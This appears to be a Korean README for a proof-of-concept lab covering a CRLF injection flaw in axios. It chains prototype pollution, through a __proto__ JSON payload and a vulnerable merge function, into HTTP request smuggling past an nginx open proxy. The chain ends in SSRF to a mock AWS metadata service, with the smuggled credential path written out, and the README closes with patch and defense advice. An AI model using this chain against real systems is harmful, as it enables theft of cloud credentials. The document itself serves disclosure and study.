
Proof-of-concept demonstrating CRLF injection and HTTP request smuggling in Axios, chaining prototype pollution to achieve SSRF and access internal services like IMDS.
| 항목 | 내용 |
|---|
| CVSS | 9.9 (Critical) |
| 영향 버전 | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| 패치 버전 | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ 로 후행 CRLF만 제거
↑ 값 중간의 \r\n은 그대로 통과
결과적으로 헤더 값에 \r\n\r\nGET /admin HTTP/1.1\r\n...을 삽입하면
TCP 스트림에 두 번째 HTTP 요청이 그대로 포함된다.
JavaScript의 모든 객체는 Object.prototype을 상속한다. Prototype Pollution은 이 공유 프로토타입 자체를 오염시켜 이후 생성되는 모든 객체에 영향을 주는 공격이다.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← 선언한 적 없지만 존재
취약한 재귀 merge 함수(lodash < 4.17.21, qs 등)가 "__proto__" 키를 특별히 처리하지 않을 때 발생한다.
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// key = "__proto__" 일 때:
// target["__proto__"] → Object.prototype 반환
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → Object.prototype 에 직접 프로퍼티 주입
} else {
target[key] = source[key];
}
}
}
// 공격자 JSON: __proto__ 가 own property 로 파싱됨
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← 오염 성공
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
앱 코드: const opts = {};
opts.headers → prototype chain → 오염된 객체 반환
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← CRLF 검증 없음
↓
TCP 스트림에 스머글된 요청 포함
Object.prototype.headers를 오염시키면 axios 내부 schema 객체도 영향을 받는다.
assertOptions(config, schema) 호출 시
schema['headers'] → prototype chain → 오염된 객체 반환
validator(value) → 객체를 함수로 호출 → TypeError
실제 공격에서는 오염 범위를 정밀하게 제어해야 하며, 광범위한 오염은 의도한 공격 전에 앱 자체를 크래시시킬 수 있다(DoS 부작용).
[1] 직접 헤더 주입 또는 Prototype Pollution (취약한 merge 라이브러리 경유)
↓
[2] axios가 CRLF 포함 값을 검증 없이 헤더로 직렬화
↓
[3] raw net.Socket 으로 TCP 스트림에 기록
(Node.js 기본 http 모듈은 런타임에서 차단 → custom adapter 필요)
↓
[4] nginx (proxy_pass http://$http_host) 가 2개 요청으로 분리 파싱
↓
[5] 스머글된 요청의 Host 헤더 기반으로 다른 upstream 으로 라우팅 (SSRF)
↓
[6] 내부 서버(IMDS 등) 접근 → 크레덴셜 탈취
| 조건 | 내용 |
|---|---|
| Node.js http 모듈 우회 | net.Socket 기반 custom adapter 사용 |
| nginx open proxy | proxy_pass http://$http_host 설정 |
ignore_invalid_headers on | 비정상 헤더 허용 |
resolver 지시자 | 동적 hostname 해석 가능 |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| 포트 | 서비스 | 역할 |
|---|---|---|
| 3001 | backend | HTTP 요청 수신 / 헤더 로깅 |
| 3003 | backend | exploit.html 정적 서버 |
| 3004 | backend | relay — browser POST → net.Socket 변환 |
| 8080 | nginx | open proxy (proxy_pass http://$http_host) |
| 80 (내부) | imds | AWS IMDSv2 mock 서버 |
# 전체 컨테이너 빌드 및 시작
docker compose up --build
# Node.js 테스트 (호스트에서 실행)
npm install
# 1. 백엔드 직접 — CRLF 주입으로 2개 요청 발생
node poc/test-axios-adapter-backend.js
# 2. nginx 경유 — 스머글된 요청이 backend:3001 으로 라우팅
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → CRLF Injection → SSRF 체인
node poc/test-prototype-pollution.js
# 4. 브라우저 — http://localhost:3003
# 대상 선택: 백엔드 직접 / nginx 경유 / nginx → IMDS (SSRF)
1. nginx → IMDS 선택 후 Custom Adapter 실행
2. 스머글된 요청: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx가 host=imds 로 라우팅 → IMDSv2 mock 서버로 전달
4. imds 컨테이너 로그: [!!!] 크리덴셜 탈취 성공!
.
├── docker-compose.yml
├── Dockerfile.backend # backend + relay 컨테이너
├── Dockerfile.imds # IMDSv2 mock 컨테이너
├── package.json # [email protected] (취약 버전 고정)
└── poc/
├── backend-server.js # HTTP 서버 (3001), relay (3004), 정적 서버 (3003)
├── mock-imds.js # AWS IMDSv2 mock (PUT /token, GET /credentials)
├── nginx-container.conf # open proxy 설정
├── exploit.html # 브라우저 PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → backend 직접
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # 표준 axios (Node.js 차단 확인용)
└── test-prototype-pollution.js # Prototype Pollution → CRLF Injection 체인
resolver 127.0.0.11 valid=30s; # Docker 내부 DNS
location / {
proxy_pass http://$http_host; # Host 헤더 기반 동적 라우팅 = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # 정상 요청용 고정 upstream
}
$http_host(포트 포함)를 upstream으로 사용하므로, 스머글된 요청의 Host 헤더가
곧 라우팅 목적지가 된다.
npm install axios@^1.15.0
패치(1.15.0)는 assertValidHeaderValue()를 도입해 CR/LF 포함 값을 즉시 거부한다.
추가 방어:
proxy_pass http://$http_host 금지 → 고정 upstream 사용HttpTokens: required)